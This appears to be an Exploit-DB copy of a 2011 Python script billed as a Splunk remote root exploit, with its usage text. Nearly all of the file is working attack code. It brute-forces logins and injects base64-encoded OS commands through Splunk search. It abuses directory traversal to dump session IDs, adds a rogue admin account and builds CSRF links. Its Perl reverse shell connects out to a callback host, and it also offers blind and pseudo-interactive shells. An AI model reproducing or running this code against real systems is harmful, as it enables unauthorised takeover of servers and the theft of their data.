from sec1httplib.requestbuilder import Requestobj
from sec1httplib.thread_dispatcher import *
import threading
import re
import urlparse
import sys
import urllib
import base64
from optparse import OptionParser
import sys
"""
Source: http://www.sec-1.com/blog/?p=233
Splunk remote root exploit.
Author: Gary O'leary-Steele @ Sec-1 Ltd
Date: 5th September 2011
Release date: Private
Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18245.zip
C:\git\splunk>python splunk_exploit.py -h
Usage: Run splunk_exploit.py -h to see usage options
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-t TARGETHOST IP Address or hostname of target splunk server
-c Generate CSRF URL only
-w SPLUNKWEB_PORT The Splunk admin interface port (Default: 8000)
-d SPLUNKD_PORT The Splunkd Web API port (Default: 8089)
-u USERFILE File containing usernames for use in dictionary attack
-p PASSFILE File containing passwords for use in dictionary attack
-U USERNAME Admin username (if known)
-P PASSWORD Admin pasword (if known)
ToDo: Fix bug when attemping to get home dir
"""
#Set this to use a proxy
#Requestobj.set_proxy("127.0.0.1","8080")
Requestobj.verbose = 0
misc_lock = threading.Lock()
# Counter used in bruteforce
class Counter():
def __init__(self):
self.l = threading.Lock()
def set_total(self,total):
self.statictotal = total
self.total = total
def sub(self):
with self.l:
if self.total !=0:
self.total = self.total - 1
def print_remaining(self):
with self.l:
print "[i] %s of %s remaining" % (self.total,self.statictotal)
counter = Counter()
def request_factory_splunkd(targeturl,username,password,splunk_object):
"Factory to generate attempt_login functions"
global counter
def attempt_login():
# Dont continue if we already have admin
if splunk_object.got_admin == 1:
return False
login_url = "{0}/services/auth/login".format(targeturl.rstrip())
r = Requestobj(login_url)
poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
counter.sub()
counter.print_remaining()
if result.find_data("Remote login disabled because you are using a free license"):
print "[i] Free licence in use. No remote login required"
print "[!] run the exploit again with the -f flag"
sys.exit()
if result.find_data("sessionKey"):
print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip())
try:
if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):
splunk_object.username = username.rstrip()
splunk_object.password = password.rstrip()
splunk_object.got_admin =1
#print "ADMIN",splunk_object.got_admin
splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]
except Exception as err:
print "[i] Error getting auth details",err
return (username,password)
else:
pass
return attempt_login
def request_factory_splunkweb(targeturl,username,password,cval,splunk_object):
"Factory to generate attempt_login functions"
global counter
def attempt_login():
if splunk_object.got_admin == 1:
return False
login_url = "{0}/en-GB/account/login".format(targeturl.rstrip())
r = Requestobj(login_url)
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip())
r.rawpostdata("POST", poststr)
r.set_custom_cookie(copyglobaljar=1)
result = r.makerequest()
counter.sub()
counter.print_remaining()
if result.find_data("This resource can be found at"):
print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip())
try:
if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):
splunk_object.username = username.rstrip()
splunk_object.password = password.rstrip()
splunk_object.got_admin =1
except Exception as err:
print "[i] Error getting auth details",err
return (username,password)
else:
pass
return attempt_login
class SplunkTarget(object):
def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000):
self.splunkd_port = splunkd_port
self.splunkweb_port = splunkweb_port
self.max_threads = 20
self.username=""
self.password = ""
self.session_key =""
self.splunk_home = ""
self.got_admin = 0
self.web_authed = 0 # are we authed to the web interface
self.freelic =0
# Check splunkd server
info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
if info.body:
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)
else:
info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)
if "server-info" in info.body:
self.splunkd =1
try:
self.os_build = re.findall("os_build\">(.+?)<",info.body)[0]
self.os_name = re.findall("os_name\">(.+?)<",info.body)[0]
self.os_version = re.findall("os_version\">(.+?)<",info.body)[0]
self.server_name = re.findall("serverName\">(.+?)<",info.body)[0]
self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0]
self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0]
print "[i] Splunkd server found. Version:{0}".format(self.splunk_version)
print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build)
except Exception as err:
print "Error getting splunk server info",err
else:
self.splunkd =0
# Check splunk web
splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()
if splunkweb_info.body:
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)
else:
splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)
if "Splunk" in splunkweb_info.body:
print "[i] Splunk web interface discovered"
self.splunkweb =1
self.cval=""
try:
self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0]
print "[i] CVAL:{0}".format(self.cval)
except:
print "[i] Error getting cval"
self.splunkweb =0
else:
self.splunkweb =0
if self.splunkweb ==1:
try:
url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url)
lic = Requestobj(url).makerequest()
if "<h1>Free license group</h1>" in lic.body:
print "[i] Configured with free licence. No auth required"
#if not self.splunkd:
# print "[i] Cannot connect to splunkd using free licence"
# sys.exit()
self.got_admin=1
self.username="admin"
self.password="admin"
self.web_authed=1
self.splunkd=0
self.freelic=1
self.pop_shell()
except Exception as err:
print "error",err
exit()
def account_bruteforce(self,userfile,passfile):
global counter
q = ThreadDispatcher(store_return=1,max_threads=self.max_threads)
for username in set(open(userfile).readlines()):
for password in set(open(passfile).readlines()):
if self.splunkd == 1:
q.add(request_factory_splunkd(self.splunkd_url,username,password,self))
elif self.splunkweb==1:
q.add(request_factory_splunkweb(self.splunkweb_url,username,password,self.cval,self))
else:
print "[Error] Not connected"
sys.exit()
counter.set_total(len(q.call_queue))
q.start()
for x in range(q.return_queue._qsize()):
username, password = q.return_queue.get(x)
username = username.rstrip()
password = password.rstrip()
print "[***] Cracked: %s:%s" % (username,password)
def user_is_admin(self,username,password):
if self.splunkd == 1:
# attempt to auth via splunkd to get a sessionkey
self.username = username
self.password = password
self.splunkd_auth()
url = Requestobj("{0}/services/authentication/httpauth-tokens".format(self.splunkd_url))
url.basic_auth(username,password)
context = url.makerequest()
if '<title>httpauth-tokens' in context.body:
self.got_admin =1
return True
else:
return False
elif self.splunkweb == 1:
with misc_lock:
self.username = username
self.password = password
if self.splunkweb_auth():
admin_only = Requestobj("{0}/en-US/manager/launcher/server/settings/settings?action=edit".format(self.splunkweb_url)).makerequest()
if admin_only.find_data("Port that Splunk Web uses"):
print "[i] User:{0} IS AN ADMIN.".format(username)
return True
else:
print "[i] User:{0} is not an admin".format(username)
else:
pass
else:
print "Not Connected"
return False
def search_payload_cmd(self,payload):
"Generate a command execution payload"
encoded = urllib.quote(base64.b64encode(payload))
encodedpl = """search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")""" % encoded
#print encodedpl
return encodedpl
def get_splunk_home(self):
if not self.username or not self.password:
print "[i] Valid username and password required"
sys.exit()
try:
r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url))
r.basic_auth(self.username,self.password)
splunkdir = r.makerequest()
if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd:
self.splunk_home = splunkdir.body.strip()
else:
print "[***] Could not get home dir setting default.."
if "windows" in self.os_name.lower():
self.splunk_home = "c:\\program files\\splunk"
else:
self.splunk_home = "/opt/splunk"
print "Setting Splunk home dir to:{0}".format(self.splunk_home)
return self.splunk_home
except Exception as err:
print "[i] Error occured while attempting to read splunk home dir",err
def splunkd_auth(self):
login_url = "{0}/services/auth/login".format(self.splunkd_url)
r = Requestobj(login_url)
poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("Remote login disabled because you are using a free license"):
print "[i] Free licence in use. No remote login required"
print "[!] run the exploit again with the -f flag"
sys.exit()
if result.find_data("sessionKey"):
self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]
return True
else:
return False
def splunkweb_auth(self):
if self.web_authed == 1:
return True
login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie
cval=""
cval = login_page.extract_data_body('name="cval" value="(\d+?)"')
if cval:
cval = cval[0]
r = Requestobj(login_page.url)
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("This resource can be found at"):
return True
self.web_authed = 1
else:
print "[i] Login Failed"
exit()
def add_admin(self,username,password,sessionKey):
# look for 201
if self.splunkd == 1 and self.username and self.password:
url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url))
url.basic_auth(self.username,self.password)
url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password))
url.add_header("authorization","Splunk {0}".format(sessionKey))
result = url.makerequest()
if str(result.code) == "201":
return True
else:
return False
else:
print "[!] Not connected to splunkd. Check port and creds"
return False
def dump_session_ids(self):
"Exploits dir traversal issue to dump session ids"
print "[i] Attemping to dump sessions"
if self.splunkd == 1 and self.username and self.password:
#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))
url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))
url.basic_auth(self.username,self.password)
result = url.makerequest()
sessions=[]
if "session=" in result.body:
print "[i] Session ID's extracted from web_service.log"
sessions = re.findall("session=(.+?)[<\s]",result.body)
for session in set(sessions):
print "[SESSION]",session
return set(sessions)
def perl_revshell(self,revhost,port):
cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)
self.search_exploit_cmd(cmd)
def search_exploit_cmd(self,command):
"Execute commands via search exploit."
if self.splunkweb == 1 and self.got_admin:
if self.web_authed == 0:
self.splunkweb_auth()
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))
shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))
for c in shell_req.get_cookiejar():
if "session" in c.name:
shell_req.add_header("X-Requested-With","XMLHttpRequest")
shell_req.add_header("X-Splunk-Session",c.value)
x = shell_req.makerequest()
elif self.splunkd == 1 and self.got_admin and self.session_key:
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url))
shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body))
shell_req.add_header("authorization","Splunk {0}".format(self.session_key))
x = shell_req.makerequest()
else:
print "Session",self.session_key
print "Admin",self.got_admin
print "Splunkd",self.splunkd
print "[i] Exploit failed. Not connected or access denied"
def blind_shell(self):
command=""
while 1:
print command.rstrip()
command=raw_input("blind_shell>")#
if command.rstrip() == "exit": break
self.search_exploit_cmd(command)
def get_csrf_link_cmd(self,command):
return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(command))
def get_csrf_link_revshell(self,revhost,port):
cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)
return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(cmd))
def search_exploit_psudoshell(self):
"Execute commands via search exploit. Payload implements a virtual shell"
if not self.username or not self.password:
print "[i] Valid username and password required"
sys.exit()
if not self.splunkweb == 1:
print "[error] Managment Web Interface required for this payload"
return ""
if self.web_authed == 0:
self.splunkweb_auth()
base_dir = self.get_splunk_home()
#if not base_dir:
# print "Failed to get splunk basedir"
# base_dir = "/opt/splunk"
command=""
while 1:
print command.rstrip()
command=raw_input("shell>")#
if command.rstrip() == "exit": break
if "windows" in self.os_name.lower():
tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir)
command = command + tmp #'"'+ tmp +'"'
else:
tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir)
command = command + tmp
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))
psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))
for c in psudoshell_req.get_cookiejar():
if "session" in c.name:
psudoshell_req.add_header("X-Requested-With","XMLHttpRequest")
psudoshell_req.add_header("X-Splunk-Session",c.value)
x = psudoshell_req.makerequest()
import time
time.sleep(3)
print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body
def pop_shell(self):
"Prompt for paylod options"
"[w00p] We appear to have access. Please select a payload"
print "[Payload Options]"
if self.splunkweb == 1:
print "[1]\tPseudo Interactive Shell"
else:
print "[DISABLED]\tPseudo Interactive Shell"
print "[2]\tPerl Reverse Shell"
print "[3]\tCommand Exec (Blind)"
option = input("Please select option 1-3:")
if option == 1:
self.search_exploit_psudoshell()
elif option ==2:
rev_host = raw_input("Enter Callback Host:")
rev_port = raw_input("Enter Callback Port:")
self.perl_revshell(rev_host,rev_port)
elif option ==3:
self.blind_shell()
else:
print "Invalid option"
exit()
def main():
banner = "-----==[Slunk Remote Root Exploit]=-----\n"
parser = OptionParser(usage="Run %prog -h to see usage options",
version="%prog 1.0")
parser.add_option("-t",
action="store",
dest="targethost",
help="IP Address or hostname of target splunk server")
parser.add_option("-c",
action="store_true", # optional because action defaults to "store"
dest="csrf",
help="Generate CSRF URL only")
parser.add_option("-f",
action="store_true", # optional because action defaults to "store"
dest="free_lic_noauth",
help="Target is configured to use a Free licence and does not permit remote auth")
parser.add_option("-w",
action="store", # optional because action defaults to "store"
dest="splunkweb_port",
default=8000,
help="The Splunk admin interface port (Default: 8000)")
parser.add_option("-d",
action="store", # optional because action defaults to "store"
dest="splunkd_port",
default=8089,
help="The Splunkd Web API port (Default: 8089)")
parser.add_option("-u",
action="store", # optional because action defaults to "store"
dest="userfile",
help="File containing usernames for use in dictionary attack")
parser.add_option("-p",
action="store", # optional because action defaults to "store"
dest="passfile",
help="File containing passwords for use in dictionary attack")
parser.add_option("-U",
action="store", # optional because action defaults to "store"
dest="username",
help="Admin username (if known)")
parser.add_option("-P",
action="store", # optional because action defaults to "store"
dest="password",
help="Admin pasword (if known)")
parser.add_option("-e",
action="store", # optional because action defaults to "store"
dest="userpair",
help="Attempt to add admin user via priv up directory traversal magic. Accepts username:password")
(options, args) = parser.parse_args()
if not options.targethost:
parser.error("Target host required")
exit()
elif options.targethost and options.free_lic_noauth:
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)
x.username="admin"
x.password="admin"
x.got_admin=1
x.splunkd = 0
x.pop_shell()
elif options.targethost and options.csrf:
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)
print "[*] Enter command to run or enter 'revshell' for a perl reverse shell:"
option = raw_input("cmd>")
if option =="revshell":
rev_host = raw_input("Enter Callback Host:")
rev_port = raw_input("Enter Callback Port:")
x.perl_revshell(rev_host,rev_port)
print x.get_csrf_link_revshell(rev_host,rev_port)
else:
print x.get_csrf_link_cmd(option.strip())
elif options.targethost and options.username and options.password and options.userpair:
print "[i] Attemping priv up"
if ":" in options.userpair:
username,password = options.userpair.split(":")
else:
print "-e requires username password pair in format username:password"
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)
x.username= options.username
x.password = options.password
x.splunkd = 1
import time
while 1:
sessionids= x.dump_session_ids()
for session in sessionids:
if x.add_admin(username,password,session):
print "[i] User Added"
exit()
time.sleep(2)
elif options.targethost and options.username and options.password:
print "[i] Using static username and password"
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)
x.username= options.username
x.password = options.password
if x.user_is_admin(options.username,options.password):
x.pop_shell()
elif options.targethost and options.userfile and options.passfile:
print "[i] Lauching bruteforce attack"
x = SplunkTarget(options.targethost,splunkweb_port=options.splunkweb_port,splunkd_port=options.splunkd_port)
x.account_bruteforce(options.userfile,options.passfile)
if x.got_admin ==1:
x.pop_shell()
else:
print "Please ensure you have supplied either a username and password or a user and password file to bruteforce"
exit()
if __name__ == '__main__':
main()